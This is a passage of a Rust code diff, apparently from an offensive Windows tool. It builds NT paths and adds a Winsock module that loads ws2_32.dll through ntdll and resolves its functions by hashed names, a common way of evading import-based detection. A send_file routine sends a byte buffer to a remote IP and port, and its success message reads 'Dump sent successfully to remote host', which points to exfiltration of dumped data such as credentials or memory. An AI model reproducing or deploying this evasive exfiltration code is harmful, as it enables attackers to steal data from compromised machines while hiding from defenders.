pub fn build_nt_path<'a>(cwd: &str, file_name: &str, buffer: &'a mut [u8]) -> &'a str {
let mut offset = 0;
let nt_prefix = b"\\??\\";
if nt_prefix.len() > buffer.len() {
// debug_println!("[-] Buffer too small to hold NT prefix.");
return "";
}
buffer[offset..offset + nt_prefix.len()].copy_from_slice(nt_prefix);
offset += nt_prefix.len();
let cwd_bytes = cwd.as_bytes();
if offset + cwd_bytes.len() > buffer.len() {
// debug_println!("[-] Buffer too small to hold current working directory.");
return "";
}
buffer[offset..offset + cwd_bytes.len()].copy_from_slice(cwd_bytes);
offset += cwd_bytes.len();
let file_name_bytes = file_name.as_bytes();
if offset + file_name_bytes.len() > buffer.len() {
// debug_println!("[-] Buffer too small to hold file name.");
return "";
}
buffer[offset..offset + file_name_bytes.len()].copy_from_slice(file_name_bytes);
offset += file_name_bytes.len();
if let Ok(result_str) = core::str::from_utf8(&buffer[..offset]) {
result_str
} else {
// debug_println!("[-] Failed to convert buffer to UTF-8 string.");
""
}
}
+1
View File
@@ -0,0 +1 @@
pub mod winsock;
+394
View File
@@ -0,0 +1,394 @@
#[cfg(feature = "verbose")]
use libc_print::libc_println;
use alloc::ffi::CString;
use alloc::vec::Vec;
use core::{
ffi::c_void,
mem::{transmute, zeroed},
ptr::{null, null_mut},
sync::atomic::{AtomicBool, Ordering},
};
use crate::common::ldrapi::ldr_function;
use crate::ntapi::def::UnicodeString;
use crate::ntapi::g_instance::instance;
use crate::debug_println;
// Data structures for Winsock
#[repr(C)]
pub struct WsaData {
pub w_version: u16,
pub w_high_version: u16,
pub sz_description: [i8; 257],
pub sz_system_status: [i8; 129],
pub i_max_sockets: u16,
pub i_max_udp_dg: u16,
pub lp_vendor_info: *mut i8,
}
#[repr(C)]
pub struct SockAddrIn {
pub sin_family: u16,
pub sin_port: u16,
pub sin_addr: InAddr,
pub sin_zero: [i8; 8],
}
#[repr(C)]
pub struct InAddr {
pub s_addr: u32,
}
#[repr(C)]
pub struct SockAddr {
pub sa_family: u16,
pub sa_data: [i8; 14],
}
#[repr(C)]
pub struct AddrInfo {
pub ai_flags: i32,
pub ai_family: i32,
pub ai_socktype: i32,
pub ai_protocol: i32,
pub ai_addrlen: u32,
pub ai_canonname: *mut i8,
pub ai_addr: *mut SockAddr,
pub ai_next: *mut AddrInfo,
}
// Define function types for Winsock functions
type WSAStartupFunc =
unsafe extern "system" fn(wVersionRequested: u16, lpWsaData: *mut WsaData) -> i32;
type WSACleanupFunc = unsafe extern "system" fn() -> i32;
type SocketFunc = unsafe extern "system" fn(af: i32, socket_type: i32, protocol: i32) -> SOCKET;
type ConnectFunc = unsafe extern "system" fn(s: SOCKET, name: *const SockAddr, namelen: i32) -> i32;
type SendFunc = unsafe extern "system" fn(s: SOCKET, buf: *const i8, len: i32, flags: i32) -> i32;
type RecvFunc = unsafe extern "system" fn(s: SOCKET, buf: *mut i8, len: i32, flags: i32) -> i32;
type ClosesocketFunc = unsafe extern "system" fn(s: SOCKET) -> i32;
type InetAddrFunc = unsafe extern "system" fn(cp: *const i8) -> u32;
type HtonsFunc = unsafe extern "system" fn(hostshort: u16) -> u16;
type GetAddrInfoFunc = unsafe extern "system" fn(
node: *const i8,
service: *const i8,
hints: *const AddrInfo,
res: *mut *mut AddrInfo,
) -> i32;
type FreeAddrInfoFunc = unsafe extern "system" fn(res: *mut AddrInfo);
type WSAGetLastError = unsafe extern "system" fn() -> i32;
// Structure to hold function pointers
pub struct Winsock {
pub wsa_startup: WSAStartupFunc,
pub wsa_cleanup: WSACleanupFunc,
pub socket: SocketFunc,
pub connect: ConnectFunc,
pub send: SendFunc,
pub recv: RecvFunc,
pub closesocket: ClosesocketFunc,
pub inet_addr: InetAddrFunc,
pub htons: HtonsFunc,
pub getaddrinfo: GetAddrInfoFunc,
pub freeaddrinfo: FreeAddrInfoFunc,
pub wsa_get_last_error: WSAGetLastError,
}
impl Winsock {
// Function to initialize the Winsock structure with null values
pub fn new() -> Self {
Winsock {
wsa_startup: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
wsa_cleanup: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
socket: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
connect: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
send: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
recv: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
closesocket: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
inet_addr: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
htons: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
getaddrinfo: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
freeaddrinfo: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
wsa_get_last_error: unsafe {
core::mem::transmute(core::ptr::null::<core::ffi::c_void>())
},
}
}
}
// Global variable to store Winsock functions
static mut WINSOCK_FUNCS: Option<Winsock> = None;
// Atomic variable to track if Winsock functions have been initialized
static INIT_WINSOCKS: AtomicBool = AtomicBool::new(false);
/// Initializes Winsock functions.
///
/// This function dynamically loads the Winsock functions from the "ws2_32.dll" library.
/// It ensures that the functions are loaded only once using atomic operations.
/// The function does not return any values.
pub fn init_winsock_funcs() {
unsafe {
if !INIT_WINSOCKS.load(Ordering::Acquire) {
// Constants representing hash values of Winsock function names
pub const WSA_STARTUP_DBJ2: usize = 0x142e89c3;
pub const WSA_CLEANUP_DBJ2: usize = 0x32206eb8;
pub const SOCKET_DBJ2: usize = 0xcf36c66e;
pub const CONNECT_DBJ2: usize = 0xe73478ef;
pub const SEND_DBJ2: usize = 0x7c8bc2cf;
pub const RECV_DBJ2: usize = 0x7c8b3515;
pub const CLOSESOCKET_DBJ2: usize = 0x185953a4;
pub const INET_ADDR_DBJ2: usize = 0xafe73c2f;
pub const HTONS_DBJ2: usize = 0xd454eb1;
pub const GETADDRINFO_DBJ2: usize = 0x4b91706c;
pub const FREEADDRINFO_DBJ2: usize = 0x307204e;
pub const WSAGETLASTERROR_H: usize = 0x9c1d912e;
let dll_name = "ws2_32.dll";
let mut ws2_win32_dll_unicode = UnicodeString::new();
let utf16_string: Vec<u16> = dll_name.encode_utf16().chain(Some(0)).collect();
ws2_win32_dll_unicode.init(utf16_string.as_ptr());
let mut ws2_win32_handle: *mut c_void = null_mut();
(instance().ntdll.ldr_load_dll)(
null_mut(),
null_mut(),
ws2_win32_dll_unicode,
&mut ws2_win32_handle as *mut _ as *mut c_void,
);
if ws2_win32_handle.is_null() {
return;
}
let ws2_32_module = ws2_win32_handle as *mut u8;
// Resolve function addresses using hashed names
let wsa_startup_addr = ldr_function(ws2_32_module, WSA_STARTUP_DBJ2);
let wsa_cleanup_addr = ldr_function(ws2_32_module, WSA_CLEANUP_DBJ2);
let socket_addr = ldr_function(ws2_32_module, SOCKET_DBJ2);
let connect_addr = ldr_function(ws2_32_module, CONNECT_DBJ2);
let send_addr = ldr_function(ws2_32_module, SEND_DBJ2);
let recv_addr = ldr_function(ws2_32_module, RECV_DBJ2);
let closesocket_addr = ldr_function(ws2_32_module, CLOSESOCKET_DBJ2);
let inet_addr_addr = ldr_function(ws2_32_module, INET_ADDR_DBJ2);
let htons_addr = ldr_function(ws2_32_module, HTONS_DBJ2);
let getaddrinfo_addr = ldr_function(ws2_32_module, GETADDRINFO_DBJ2);
let freeaddrinfo_addr = ldr_function(ws2_32_module, FREEADDRINFO_DBJ2);
let wsa_get_last_error_addr = ldr_function(ws2_32_module, WSAGETLASTERROR_H);
// Initialize Winsock functions
let mut winsock_functions = Winsock::new();
winsock_functions.wsa_startup = transmute(wsa_startup_addr);
winsock_functions.wsa_cleanup = transmute(wsa_cleanup_addr);
winsock_functions.socket = transmute(socket_addr);
winsock_functions.connect = transmute(connect_addr);
winsock_functions.send = transmute(send_addr);
winsock_functions.recv = transmute(recv_addr);
winsock_functions.closesocket = transmute(closesocket_addr);
winsock_functions.inet_addr = transmute(inet_addr_addr);
winsock_functions.htons = transmute(htons_addr);
winsock_functions.getaddrinfo = transmute(getaddrinfo_addr);
winsock_functions.freeaddrinfo = transmute(freeaddrinfo_addr);
winsock_functions.wsa_get_last_error = transmute(wsa_get_last_error_addr);
// Store the functions in the global variable
WINSOCK_FUNCS = Some(winsock_functions);
// Mark Winsock functions as initialized
INIT_WINSOCKS.store(true, Ordering::Release);
}
}
}
/// Gets the Winsock functions.
///
/// This function ensures the Winsock functions are initialized and returns a reference to them.
/// If the functions are not already initialized, it will initialize them first.
///
/// # Returns
/// * `&'static Winsock` - A reference to the initialized Winsock functions.
pub fn get_winsock() -> &'static Winsock {
init_winsock_funcs();
return unsafe { WINSOCK_FUNCS.as_ref().unwrap() };
}
#[allow(non_camel_case_types)]
pub type SOCKET = usize;
/// Cleans up the Winsock library.
///
/// This function cleans up the Winsock library, releasing any resources that were allocated.
/// This function does not return any values.
pub fn cleanup_winsock(sock: SOCKET) {
unsafe {
(get_winsock().closesocket)(sock);
(get_winsock().wsa_cleanup)();
}
}
/// Initializes the Winsock library for network operations on Windows.
/// Returns 0 on success, or the error code on failure.
pub fn init_winsock() -> i32 {
unsafe {
let mut wsa_data: WsaData = core::mem::zeroed();
let result = (get_winsock().wsa_startup)(0x0202, &mut wsa_data);
if result != 0 {
return (get_winsock().wsa_get_last_error)();
}
result
}
}
/// Creates a new TCP socket for network communication.
/// Returns the socket descriptor (SOCKET) or an error code on failure.
pub fn create_socket() -> SOCKET {
unsafe {
(get_winsock().socket)(2, 1, 6) // AF_INET, SOCK_STREAM, IPPROTO_TCP
}
}
/// Resolves a hostname to an IPv4 address.
/// Returns the IPv4 address as a `u32` or an error code on failure.
pub fn resolve_hostname(hostname: &str) -> u32 {
unsafe {
let hostname_cstr = CString::new(hostname).unwrap();
let mut hints: AddrInfo = zeroed();
hints.ai_family = 2; // AF_INET
hints.ai_socktype = 1; // SOCK_STREAM
let mut res: *mut AddrInfo = null_mut();
let status = (get_winsock().getaddrinfo)(hostname_cstr.as_ptr(), null(), &hints, &mut res);
if status != 0 {
return (get_winsock().wsa_get_last_error)() as u32;
}
let mut ip_addr: u32 = 0;
let mut addr_info_ptr = res;
while !addr_info_ptr.is_null() {
let addr_info = &*addr_info_ptr;
if addr_info.ai_family == 2 {
// AF_INET
let sockaddr_in = &*(addr_info.ai_addr as *const SockAddrIn);
ip_addr = sockaddr_in.sin_addr.s_addr;
break;
}
addr_info_ptr = addr_info.ai_next;
}
(get_winsock().freeaddrinfo)(res);
ip_addr
}
}
/// Connects a socket to a given address and port.
/// Returns 0 on success, or the error code on failure.
pub fn connect_socket(sock: SOCKET, addr: &str, port: u16) -> i32 {
unsafe {
let addr = if addr == "localhost" {
"127.0.0.1"
} else {
addr
};
let resolve_addr = resolve_hostname(addr);
let mut sockaddr_in: SockAddrIn = core::mem::zeroed();
sockaddr_in.sin_family = 2; // AF_INET
sockaddr_in.sin_port = (get_winsock().htons)(port);
sockaddr_in.sin_addr.s_addr = resolve_addr;
let sockaddr = &sockaddr_in as *const _ as *const SockAddr;
let result =
(get_winsock().connect)(sock, sockaddr, core::mem::size_of::<SockAddrIn>() as i32);
if result != 0 {
return (get_winsock().wsa_get_last_error)();
}
result
}
}
/// Sends a request through a socket.
///
/// This function sends a request through the specified socket.
/// It returns a `Result` indicating whether the send operation was successful or not.
///
/// # Arguments
/// * `sock` - The socket descriptor.
/// * `request` - The request data to be sent.
pub fn send_request(sock: SOCKET, request: &[u8]) -> i32 {
unsafe {
let result =
(get_winsock().send)(sock, request.as_ptr() as *const i8, request.len() as i32, 0);
if result != 0 {
return (get_winsock().wsa_get_last_error)();
}
result
}
}
/// Sends a Vec<u8> to a remote address and port via socket.
///
/// # Arguments
/// * `data` - The data to be sent as a Vec<u8>.
/// * `ip` - The remote IP address as a string (e.g., "127.0.0.1").
/// * `port` - The port to connect to.
pub fn send_file(data: Vec<u8>, ip: &str, port: u16) {
// Initialize Winsock.
let wsa_init_result = init_winsock();
if wsa_init_result != 0 {
debug_println!(
"[-] Failed to initialize Winsock with error: {}",
wsa_init_result
);
return;
}
// Create a socket.
let sock = create_socket();
if sock == usize::MAX {
unsafe {
let _error = (get_winsock().wsa_get_last_error)();
debug_println!("[-] Failed to create socket. Winsock error: {}", _error);
return;
}
}
// Connect the socket to the IP and port.
let connect_result = connect_socket(sock, ip, port);
if connect_result != 0 {
debug_println!(
"[-] Failed to connect socket to {}:{} with error: {}",
ip,
port,
connect_result
);
cleanup_winsock(sock);
return;
}
// Send the data.
let send_result = send_request(sock, &data);
// Check if sending the file was successful.
if send_result != 0 {
debug_println!(
"[-] Failed to send data to {}:{} with error: {}",
ip,
port,
send_result
);
cleanup_winsock(sock);
return;
}
// Close the socket.
cleanup_winsock(sock);
debug_println!("[+] Dump sent successfully to remote host");
}